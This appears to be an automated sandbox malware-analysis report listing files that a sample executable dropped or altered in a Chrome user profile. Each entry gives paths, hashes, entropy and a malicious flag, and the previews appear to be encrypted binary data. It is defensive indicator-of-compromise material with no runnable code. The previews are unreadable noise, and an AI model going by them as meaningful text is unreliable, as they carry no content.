.U.`V1T......%h.,.Td2,;.:.Puj.`.W....\|8t..,..V..m..5..u.2I.H.s.$Nv3C.>...........X!b../.......1...0.1.%bX...>.T..T3...\8.N.G..j.l..Y..x.y....U[be.L..di..U.....A.=I......i.I....+.....3..'e.....u=..S...p.."'....(.......B...."].....<E..km...[.JJ...!<j.8.s..S...o.....0.."..."vZ.$.)C..6Id..t.4...^....._hMI.....n..2....p..Y..q..T~......{r....d] ;.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.506867006551493
Encrypted:	false
SSDEEP:	12:93/BQHkC7qC5mjEYVwvBTIwJj2k6TghFih5bcd/ixpZacii9a:95QEC7Zm4xvFIwJj2k6QKuViTkbD
MD5:	DACE5C1226D13337D512B93CCF2CE182
SHA1:	3541A504B45D863D6BB2DEB25486B4BB68AE6B81
SHA-256:	9A07CA7982B5F858420D0E650E66F07BD20F42721694E172402D8B4F784C27F2
SHA-512:	5ED3110DAE0E708583CBCA46C28FFC7A8E902F6B4B50B0D605F71388E8BA650ECA63585FD8416167E0E11528319897428FD52446976262B98D9B8472B746AE5B
Malicious:	false
Preview:	.PNG.c.[.=~...=....#S...+a....9.?R%...Z....#.O.Z.&xM.[.J-...... .3....<.MKgW.._N>.0.Q.`....#}=H............O>l.....e.;....WP...E9...\.._..7..........9.YN..............:..p..M.....ph.C.i.....<GD..8.V.....x.R!...8...}...p.+u..GH..!.....:....N..a..}.H..,D.....-Y...P.4\..-.....\|.P.......r..2&.^...*......;..j...fo.\.,.5.s.6.........].khN...S.fa...v....i.?3.9....}..;a.&r....%2+0.cp..UpI.+.....1.$.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.644863795222363
Encrypted:	false
SSDEEP:	12:YrB8bJ0IYwkBlZ5dkMCMhWPHAUHzl2AAdMaWLEWixpZacii9a:MUmI0hGO4oOx2NW5iTkbD
MD5:	F1432FCB38B8ECE9F1F621747EDB432E
SHA1:	7BDC4CA39813DEE693328E989EFCC45E28CD4A58
SHA-256:	D36589DA228F3872144C6788B0D783AB8461C1CCFAD36CB6D34F36272D7DC050
SHA-512:	EF1952DFECDC65719850F7058A12A9E17F1F41C8C0E0166B1D65BB43678E36167898568ACA75EA9D445C22BBA75149EBD4159E9689497606308DD84D60516085
Malicious:	false
Preview:	.PNG....~.......F...L.\|..C..%]..".^.M;.<..c.....).7....{...'...u.;C...u.V:.....[.x..Z...\<.....\|..5.V"..xv..0..O.h....U$..I\.`.l=~Q"OF..T..^.g....i.. ..b3.5.z.x...=N..v.+:.....y..z.3.hp.._9..s.0gC.8.~R..jp".SPQ...A.......A....%.N".@..L...Z&..U.9R....t2z....f...~.."p..Q....z.6.G.^.......1....h..T..s.M'.n..$be..}...\?....{.<...TS..Z...{4..X.......8W........~.I..,.\|_.....P..n....S..L...,.*.........Q'.mO'.`-9.A6.C.+..d...[.!..t~..2Qk...\.^!..\|.../;..oO(6\+Z%.j......%..$v.V.. ..o..vW!.b..\|r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.449323047887091
Encrypted:	false
SSDEEP:	12:73o2pujUtR9UoRQts7hNGS20T2GFItOPTOHnkVGixpZacii9a:b7RCs1R2ZGnrOHkVGiTkbD
MD5:	7C49AAE7774048B6B7A9A71C4585B225
SHA1:	A47765355C6994D678363DD67DC6E9DA453FDD76
SHA-256:	ED1DDC366513F7B7C08E540C26FBC45AEF7E049F23571EC3976D9C687B49DF3D
SHA-512:	5E3865FB317DB9A42E03EA91D5ADFFB91D77E174A8C85DCE420B2D43EB442F92CA6B322483D3769ABEDD23D53E7EEBDB173AB689CEB0963E9F28B1513D259CCE
Malicious:	false
Preview:	.PNG..k.L...YemSK...x......ai.L......F..s.-Cb..` ~".nG"f.k.#.S8...zc._....9E.%n.9...>......jD.}-.}Y-.s.@2.....]....Rr._....AE..b.9.:.L&..S...i...)..TY.l?T.?.D.\B.)...I..x;..%.Eqz..F....6].z..'w.......$.V.......y..?..y.}s._.....\|..+R.^.N...._&#......A...e......U].Jn.<. ..2l.). ..E.a9....X.Dn.l.}UE.p....9..d.....K....?..<....VX..<.d65..9....D..M..M....K#.X...F..^..zp...9yh...^?.%..4.T;...\|.X\.3.M..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.5118983674406365
Encrypted:	false
SSDEEP:	12:GAIwJXBdzz/Ninq0YkjdkPiTukFV1dig+fq/ixpZacii9a:GSXbzFKqxCWqukFV14dfAiTkbD
MD5:	42D3A5ADFFCFD311F27DDE429E6D07C2
SHA1:	C70F54DE5A8D0ABFB0B13E87DE63AFF09D8CBC62
SHA-256:	5265864E1FDA24D920472E56B90C83633F3F0C83D7F825727AD17AB8BD2BF349
SHA-512:	1BB09E93EC6DD6BEC24AC17C01D95478CEA5961069ADC68A56539D79C57F85598EE82C33E5C1DC46A8AD704409E6210ADFAEC688B2A9D7327E7C06B8846649D4
Malicious:	false
Preview:	.PNG.k$......&62.S.R.h....g.P.....s......6@../M,.6.e.j_Y...5....`._o..E.Y]..A6....^........../6..p62...'b.q.R..Ar....0d.!....Ij...sQJ...W.........6..../...\..9.T.g.A..O....R.....>k~.0.O....+b...Y.\....9c..L.....oQ..7./`H.6dI.Y...i......IhF..S..u{..R...g......!..0.C=.......A.+jd..s.....t...n...u}.#.8....T.=.....[.}t9[...*..S..d".`}....o....kwd...../...Juv...D..B~VN.....h....4.^..I@.0lr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.484904931557659
Encrypted:	false
SSDEEP:	12:xzOvLjEYepl2ce/IgaAcn9te5A/bZsD04pyixpZacii9a:xz2jVYgog69teOtF4pyiTkbD
MD5:	0F273FCE4AB1977B5A1EB2D6EF4BA14D
SHA1:	187CF8E638078C5ACE90EACB287257F87A10324D
SHA-256:	9ACB37D2918D94977071AD8A60ECF288B699D72ACDE482E0AADF3528108A7F07
SHA-512:	138DDE7DABE9142502E0FD7A24F375A8D2F3DE023D27126B184E89597BB150FFD69E2469E7C56C7B386B47A52B3D17F5040842DD2BFD50155730D6E44DA3D63E
Malicious:	false
Preview:	.PNG....I..-...Y.X.6.....w..-..bi.M....#.\<G .H.Bt..-'..\{.O=.f._..8Y.).Z"......r8..._b...UR..^...{VQ.......>.Qz\|.u....O..T.D>... ..:.h......J....ZO..z..RYo.'c.W.@g.#X.z29c.m.2...>...@/ot>H........2.K....eNa1.. .L*.d...G...%Mn......}7.^[..2.zd'\|i.\|m.j+..E.{?d.D."......%f..\|<u............?.."...F.;.eP......C...]..6.....-9.R.}S....sn...#Fm.\(\R..HU.....smeG-..`0..n(.#......;4f.j..a.q.....3;Z..3.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	7.875097376878556
Encrypted:	false
SSDEEP:	48:EKUYjLWPQD41DCDhOzPXfLQXoQ2aWx87NJwG8liD:EKpl41W4zXjQXobR87NCG8U
MD5:	ADC74424F2C2C02984BE5DD17F0F33BD
SHA1:	AC5EB0B25CE28D5A0A2D8BEF9B753796AB458E79
SHA-256:	48D878B6A2957A1AA002D8E43DD47955C0438B0866D4B3679E03F9CBC877F105
SHA-512:	11608D89BE22343C3509932852C34798E83AAA90BFDAE81B61E51C2FA2B6943E5E2DBE7B566477EADACF37ABA6DFF1EFE17B5B5A3F760118C3169AFFB245C542
Malicious:	false
Preview:	{.. ;Y.&E...<..fw.d..\r.-X..y...P..#.[..U4......7.#.%h..n. ....W-..C.]q.B.......C...^.....4..T~...6=+.Jg..R.Y.B.s../......G)a..oO.J...Iw.._<v.....H.....L.5W3j.......f.Nh.. .x....L..$h..O'.-.. [...ER.{..Ra.. -........S<.}.......;uE...gs.O./............M..K`..........W.pxr...%=..N(.FD_..S..z.._.0"{..u.Sd....n.\|=..]9.........iS....d.... ...V}..?Mk.;O2../.%....}.d'....u%.k..Hw..'..T.xC{%G..\|...u,.H.Y.LJf..t./...?..F........Uk..._...Zb.K......6.%...#.5.7..UUU.....]\.....vGs............i...l...{....\]....$..m.OG.......=..-.-.....0..[#.)..... .E..1;z&"L. %...S]F.k<o..D...N$o..{k...5.....s._.....pMO.q.\|. R.v.....`E...).....w...2k<.......h.7=..I..GL7..0..:.".7H.....o.n.>..z.E....m..Wo.....lM.~.._.........Y..,..zn.v.cb..h~..'.R+wR7d..u{$..S..C..J.-..f.1t..:.;F.!\|...J.A..T.....(.=.F^e........_.9.L..rkpHh...b..E...h......U..@K.&3....T..a....8.S!........J..4.L.]..R...9..]._Q6..xg..%...1Z.m.r.Q^.....%..OV.&y2)xsDE.Yn./K.q8@!.BW.B.1..#...#...-.v.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.636755981058093
Encrypted:	false
SSDEEP:	12:kM6TAkmD3XW123iUAkcLgD/s3I8wMdqv2KRMQ2cQ/V3zJ7kEZixpZacii9a:F6TAfD3XWYuNUp8wMkvf2vPhZiTkbD
MD5:	306C45575E01FEE1ED32EA0DD8BA6806
SHA1:	9B99835467780A8227FF11ABDD85ECF8E846768F
SHA-256:	A051C2E341BE9E38BA03DF399848E791AB9F51EA3C6EAD2FD30935D03FE4F389
SHA-512:	39B4287AE2981ECB4E73DC66801024C93478563A66EE8D9FA2493BECF9F6041B874917A9B07BA81E831DDF2ED0C6B78A0A701E1DCAE80254AE9685850E8B1C55
Malicious:	false
Preview:	2023/..{._.....e..LW.SG.&..Gs.]o.v...[w..h......1U....<X...&...F.'...?..5J........:..F.8.`3..3xLz..(....AA.....Dc.r..F.....d..Ge..i.%'W..,....M.........X..g...b..R..r..{XW.:MJ.>x.....W.7.F.i.f....tH..?...Wh.3.._p...%...c...P.TCt.O..q`%4...h-.<.l.J....+..j@...}........}`Dk.}.}5.Fdm....M......!`C.`R/.t.S"j....S. 3..y......4~.:..A.c..^.j..+.....o!.m..M$.o....U"r8....+..`..vK..'.....y.Z..5h...n....&g.G$)...U...t..h5G6"i)GC.?9..R.".V.{..+jD~!x.,A#.!_B....]Z.In.$ .B.b(P..[6.....#.....z..Xc..-.>..n...w...\..w..F....p..;.V..,.gh.E...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	383
Entropy (8bit):	7.349823934566481
Encrypted:	false
SSDEEP:	6:wSDOZut5q6vTcTNIkavWG1rk/7xPqYmXhBdD+YNdnPLcoQ5NljGxssZacii96Z:BqQHqCTcJIkaOG1rk/7xyhLD+knj5sNr
MD5:	F5101700E66EDFEEFDA0BD420BB01074
SHA1:	779A71C352026A2FC95E2EA5D86AA74B4E63D65D
SHA-256:	22C846F1823490337679B46DB9CDB3F677510333308DC0256E03620CE768E82C
SHA-512:	C21003D2AA62BFCFC5E4E486FD265BC1A42DDBCBAAE57EEEDFB33D8D975CCBB0610659F12531E3E04BE3DC557D7AF5AB098C20EF4EB93EC2D18571E220382BBD
Malicious:	false
Preview:	.X.%..1..n....O..~\...N.'.;.W5mx..6...ZK.......].?.0.@3d..\|...20..\|&.......R....IKR..A'<-.P.qBY.y.I.U.....#...d8.p.=...o.W./1.#..y. .KQ.[.n...s:.e..>..y............O.}A_J...J.I..<,r.9..G..r.k...d.._.X..o......^.,v.........]6...).&S.o..Q%O5A..h..."...V?...;k... .at5..P....;R2..... ...R.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.691777196738289
Encrypted:	false
SSDEEP:	12:koF2MGrASfFRMd5PDYGpnakWHHnite4AFM5l6qVqaLlhKkj6Py2HGR3+dGixpZaX:uMGptR05bYGpncHHXbA6qQ+lhR2HGR3j
MD5:	F9468A3C84A3840CC1A27DBF36F4E000
SHA1:	FA8176B80D70FE4DFEF766E9C37144D8E8EB4CD4
SHA-256:	E2D3800AD49129EDDA29287C34DF314C72E54F32C789F6663F06A1098D7096A0
SHA-512:	A076294EF186A6493B4CFCAC60720711125A98F2997FF6011AE26C8C6DC6151C0C72021BEC62D5224457DD24A6A3984138C6F39E8AD1BD77EA118714BCF1D32C
Malicious:	false
Preview:	2023/.x7A..Jx..../{S.......o.[..q.2..4...M}.K.8..Y...=!.:..,.rW......Oe.o..g....S../K`.]..n.[3...?.T8.W....q..l.^...Wg'...v.1.;V..4.$....Q...(.E..(.@......@...=....%P..n.5eGtuA!..:[$<;..".]..da.5.].h.....t.....mbh...H.x..P=VR.........eF...R.:.{.....7..y7....k:.^Gn..P...mg."~t.b8.M.e0.v..#G............U.;:..x.U...i.l...X...RY....[..!#.....I.y.\|.......u$.......8.j"..F.....@..p..{...Kh?....\|..W.T..R......#k2..\[.2.y_...>..5..).'T....^.....V....n{C....m....TL<...$a..(.m.I>.S....q\|.&..+....@..s...~Q.8..M..i....4.Cn!.:X...J.p.:....+.R....Bw....B9&...+".n).m.....i..]...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	547
Entropy (8bit):	7.61183527372866
Encrypted:	false
SSDEEP:	12:Soo4x/6MfIKtCsr7kRol6NHzKig6d7KX6AK/XflulP6eI/ixpZacii9a:7oifdtC1Rq2tg6rolS/iTkbD
MD5:	4C5D40E02E55B20657C24A9F421B000A
SHA1:	573061468B6D4747CA72CC3C65838E7785A03F86
SHA-256:	B0DC4D4478C36E07F6132CFEACDDAAA18D25876088BD1DE956FE17E91FB61D52
SHA-512:	CF54AD11E13B9EF92C3071CC3A35943BC479BA9E4469E8A55E3AA8A7CCAE594806C0B2454BE5FC821C7B31892C4D770A6531887AC18B652D1AEFD8E060BF0D8D
Malicious:	false
Preview:	...#........}o.h.m\|.#..\|..V(..EO......%...F@....<...cx.I.../...W.%.zN....0...8....l....z.&.pX.A!....{...I."...m.-...p...(.iY\.S.4:..6F.h"....w.........Y.tH.;..$.k..........+..f2E.+/._.?DV.).O@..).o.k....x.g..\.s."-..iZ..w7z..M......K..ks.[&....a....h..t.).s..r.....)..-...2..E..8...(.Z.F..._......wBA...S....<...wQ.>..+/.6.`./...3.....D......B%~...._.v..Eu.".9..........GJ.z.J^......c.......[.....I?..&..l....]...S.t.....Wd.o.....Z.1.'!...vC..`D..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	619
Entropy (8bit):	7.6036791936171655
Encrypted:	false
SSDEEP:	12:kmiy5qWcB2oWUKOuzdUgb4xuwtoCfUuA0E4rbiOA5mnVZ/ixpZacii9a:Piy5qWzLOMUmOuw+zuAe7wmn3/iTkbD
MD5:	FFE2231F563343F8546CD3E3002AA09F
SHA1:	80961B40A6D104886E69E6A1C665C415C4A845C1
SHA-256:	EBC74509457960EB6F02E1A400B15D5663942C4E21D54361B5546D04785BD72E
SHA-512:	87FF24842118DD56EF176994308016B1B353D428401C66B54C24883ADAEE8EB4FFBD409FBA22B07C0404E49C8FAFD1944261EFD205792B778BB1139401DACE7F
Malicious:	false
Preview:	2023/..>.t..8...y.xl..Z.....Yu!\|F .f..H....#.R.\|......I.;.P..J..q+.+.CM./#...40^.n.t..]8....P.L......O)...:.:..P..?.1E.9.e?'B..M..U..<.1g.......M../#...V..>.^..L.f...u.h.VX.].b._.....\|...F......Z/...$-$..o-\|..p..D:FM......7.6l.`...F a`...~,.^....yux.J....w.s.....S..M]....l..t,.....z.fh..)...A.UU.jr.,...z3....m.@N.<..._.k.zuj.Yi1M...,..E.`.=...a.o,.%A...$..E].9.r.?8.Fe.Q...>l......S,......fgO.>..p9.?...J.y.5...A.}s...ezgTH)F`..0.^^L,]..'Q....P#...I.z.....HC....~DM...z..u..}...F.D}..TT.."./G..4.5.z......po.08Z.p.S=r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.382652140762081
Encrypted:	false
SSDEEP:	6:q+HGnI6XFnVVfZPWLwIP9L22WuxwhJQZXdFjn1GHpeLk8jGxssZacii96Z:dIdIquxwhJYrIJz8ixpZacii9a
MD5:	42CE2FAD61CEB804AF96C23632CD2680
SHA1:	91BB1559102B21C9656F3622E3B45192BED3BCC1
SHA-256:	5703C59656CDBDE38D07AF19805B6605EE65E90ABF2F3343772EADF19D2BA3A7
SHA-512:	3CAAC26D18B3099E42108997940DA73D66E4540E9F01521D9864E111E177FC942ED149E0687928EC15AA5606A1011FAFF228AB7904C20E9F92298D0F7F688079
Malicious:	false
Preview:	.On.!>......>...6....1.I.N...Y..V.m.Z..E.>...{\|.[.#........&....r7K!."....._..M..CV...X\|Ou..\.}.9.............].R.'..a.f.%...0..\|-..l..{;o.Yb.DC....%.2.....Ay.cv.2.....9nu.4..E...i4..Fa.(.b8.8...d.P.d.h}.@.,..b.l[.::Pb]`..!.Iv.e.,...AOD.:.5.(.#."@..g....`\|.?.E.../....@g..R.......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	688
Entropy (8bit):	7.65666843386712
Encrypted:	false
SSDEEP:	12:k9YmkhXijdIP4PXwWnjBiRVhQzpMRslx/UGT6x7AfQGBLWxkTt9g/Z8ixpZaciik:uY/BQPgijBcVhQqYp64QGykbgx8iTkbD
MD5:	FEB1FC6AACAF44E391C8B8140CC72106
SHA1:	E2AA485CA8DE818329C1B688A123080013E192A4
SHA-256:	E19E5D30F4A8942D9B1792A2D19C340AC75EA745EA4269B94F5FD37448BF3648
SHA-512:	6ED8C0921141CA0F9D1E053B8C15DB2D93528B45B2774EC3863096E50468B4B20A14B34E513D2EE2DBBB8EEAFF9D1B9773BA24FB96ADE01ADE67852BC82B171B
Malicious:	false
Preview:	2023/c9..r.z$...>.,...^e._.]...<f4..g;\.t\.\|..2............L.n.....'..Smq...P..>..m......K...)..F.t{:........,..D,h...P_+......B..`..\|.V.sE.a..p.x.&6.R..<.....i.Vz.$..-...V.Bo7.+..Q. .i)....+{.......I.(]BY}..^.w.."..6F.... .......r.K....7s.p.7....S.V\|.q....a.X..=@....P.e.....R.........{.4..LE.Lg\|t6.'...-..XP.'.\|..{...o.^..Ub.....z.D..."....Jhy;.Y..x1.._....Qk....8.$.%.....[.c.QE.\2......]........f.R5..C..k1M........k.....K...*...d.........\.......j "8.I..."5sB8b..gW4.K.b...+x...,...(H.4.+.\|.....+v)>:..../....=..B+.?.....8...Cr...).vB>;h\|;..g..%n.e.......0...Gc....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	9246
Entropy (8bit):	7.977723035633282
Encrypted:	false
SSDEEP:	192:yfAhrs5Z4nNTgKbgOpeSKiB5rFqiEI1dZtmSsX38BA5:ygA5WnNT9bgcvdVqilj/03j5
MD5:	49FA9A22DE75266B0882190015EB8B43
SHA1:	AA4ACB053FEBAAECE605C2B9C15B9825DD949608
SHA-256:	C962F3E8FD98CBD49F99A84CFE2AE88AE7891341EE8BD301820D880D8FE543A3
SHA-512:	4E11BB53EE79A61B9132FAF614E81FF0EB77E26517FD0CC995B6732D5C6D9ABC4D268FB8EA6EA47BA2FB562EBF57E3DE37EAE9328ED8F7AB0DC4FA2AB960028F
Malicious:	false
Preview:	...n'...X.d.u....C.%..~...^.tJ...-4&.ay."..A....N..).[E\|.r.:`..)._^..q%1.sM`.>z.5.$.,.p...P...Y..].<.6s.:..:.^..cy..~DBU.Xz.byc.CdDy=AEYh3..`_.'M....K.........S.}.B...G..Z.:.t..tV..H....R<..i...z..N@.!..L..::,.\|.:..6..5tWr....\.X9.G.}3...[.+c..J.R........y...-.D.p.M.%1......F....8J.?.U..F...b.p..E.}U..K..7U>..e.f>]..7...8...5..opL;...m<..P.A...U..5..$=..hfFVeL.....\|V.Y6.O...t"o.?.......c.....fc.n... \...{k.o.6<&.....".$..[....+!.W...N.....T^..)...&.5}>...xj.V..'.+1Gb..Q...7}.@.a..$$O..H51.HiL.R...1:."9..C...4.x{m...I.........%...\'t..r.(...z.V.....}N./..`..N.N..4.}Q8#.H.. ...!.a"..n.8...\DI,..2.1..n..&.%CZ.......@/....&b...(...X....=.1i.`w......_.......8[.b...Itq.;&.i....Y.......K....3...}...]..R.D;M.h..xD2@.F... .r1s../_1+...l,...t..j..~1f;.S<.9$..[vup06."kW...$.k.2:HF;&<.%.8.H.M6...,...s.A#.2.6..:.......9....{\h".... J..\...'c...'....C.mR.=v.^........e.o.R.4X<B...`...w.tg..e2$4"{..ZY...S.....8....;..p.......Q.......J\|d..{..b

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	664
Entropy (8bit):	7.636025861453734
Encrypted:	false
SSDEEP:	12:kGZqHX6sDy3X+ZI0idqorlPNntZ/kq9kznAVXK7fVO8JKixpZacii9a:06UyeWxlltZcqUyXK7qiTkbD
MD5:	B5EB0EA7F106FF40F1C60EBF75FF4AAB
SHA1:	FF73A4D887EDE0C0C7CDD4AD9E6361C8DAFC7D54
SHA-256:	B9CA346C8B072AAA47691D4D5B506884B956D7C0A53574C1DD0BD615760DAEAD
SHA-512:	AEA5941D5FB92C8007676324434648D77C335B376C0ECCA9C4D7E6185D33892F241CEDA5436184359F5094E5DAA51075C8C3008E0BE964E2495FB848325713F6
Malicious:	false
Preview:	2023/...?..z[..K&...V....%.F.....v^.(.II..N..E....O......E`.'....(..P\|&......"d..."..v.q.$.Be..ra:..v........S..u.).41.d...CN..4...T.....n..BqM9.3.`.c./....m-".P..q.....k....+...<..x..... .U.a...-.6.R!V..R......%O&I..!:.....'.= {.l.d\|;.TMa...ED.}r.P... ..5...k../...6....d.)9Ap..f.{,B.....ZZ.7.S...........K..A...RIt.s...P..0O.Yjp.2,$..UZ.z....i..c9...aa.a..C.t.....I..N...p=..D....\|..p.!}....7..K.Un9.X.5.?X1............-...k..9,iW..0'..zK..U0E.@K/.].....Gf.......ur..v......?_:>......Z!....._..6..7..&L.jj?.".RO.n..?.l....c+b...%...Y`O@.. ..."....A.4t.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	170742
Entropy (8bit):	7.998823053931381
Encrypted:	true
SSDEEP:	3072:Z4nN8VALmSkcLlzQ+SO1kjib9A8tGscAoOlj9lLs+WDAhvYryhAqZCsqVs:ZSwEmz8lcCkjiZAuGscAoOlB5CXym0/
MD5:	60F01F001B1024F9CC6BED1DD8B0567C
SHA1:	9F7FADB3E39EF24E79D7CB8CFC7FCDA8F3BC6368
SHA-256:	AE321044DFE3635F5A23A90E25CC11FD4EC5538EB16B88F7A4005693961EC2E1
SHA-512:	A3B9B549211CEBBB4B9F19AF774CF881D70EE7DA2D0D23848A453E651619CB0F6FD9E70D5C4A10030524874ACC5A1D6D419B47874DEBB550C4285859C4137329
Malicious:	true
Preview:	.......G.!<.\.tV..'.....5..}.H....)09..C...........^..c..8.".=.7`I.... ...;.....T)B..Q....w.x.U..).\|S......c>..a..^J%!..3..$.1.v...`1b.......\|..`.7[x.xd..^.J.C......#.....3.Ff...x.p...v...8.3k1$.J..#+..C......&.Z.V8..\|...J^....X.p.#1...x>...d.G.=...+........s/.B. ~..E!...&...8.=..s.....U&.z]..U.O/...VCJw.u....H..\..=.5..glf.C..v......$$..z..7..V.f.k..J.QzA...w(m.g=..sh.:n.[..+.,n..!.^.e+.x>..~[}@/..+.".....xXo...h.......b....]."b..+....@../Oi.S/&.&....0.U.'...hKh.9.I...F=.^.....$.s..Ib..{....)H3.J%....P.=.}<e(....p.[.6..:.[.jq?\|W..V1.o...2z'...E......m.S^A..,...G.\|...op..p.C..5. V.r.9......O.k.a....p.J4.d.B....b@V.~..Lk..B.\|<..;.Ow."[..`........}I...T..3l..a....a...Rta.)...g...>Oq......B.......#xr...)..A.p.hZ...{"@.,.>H.y..y{.{O.dz.;D.Kq..hl.i....$.~..]'.i.K-.(........)d..#.l...l.G..n..k.=.6G\..........~...G..R..3.f....H.E.]..X$3{U.....j+?CT..X..d..f.....h=w......g.4\.`.y.2\|z....c......5..~..~....>c.GB..O_,..*.z.. .?Z..U.>..Q

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico.md5

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.239078407771243
Encrypted:	false
SSDEEP:	6:5rkrmYPqbmadE5C/ZVW4PiPfbxp8+CFh7FI7XJ/jGxssZacii96Z:1iXq850rW4qbj8Vv5It/ixpZacii9a
MD5:	0A759B29E3E181A8677B87B04D74C80B
SHA1:	92A465C2A96EC9A4AC53C3FA02A248E148041F53
SHA-256:	E95DAD8B38FFB16B2A88D1E2099E9193D7DE012258454BE13737CDFC35519FC4
SHA-512:	5072486FB80997DB9C3854C676E0216197A30E9639407EB1F99B5CAB73D137F2CC21D525B0CA8C54AE3A81EBC4B6FC22D031FD459294E1983F1D7CC43497CA85
Malicious:	false
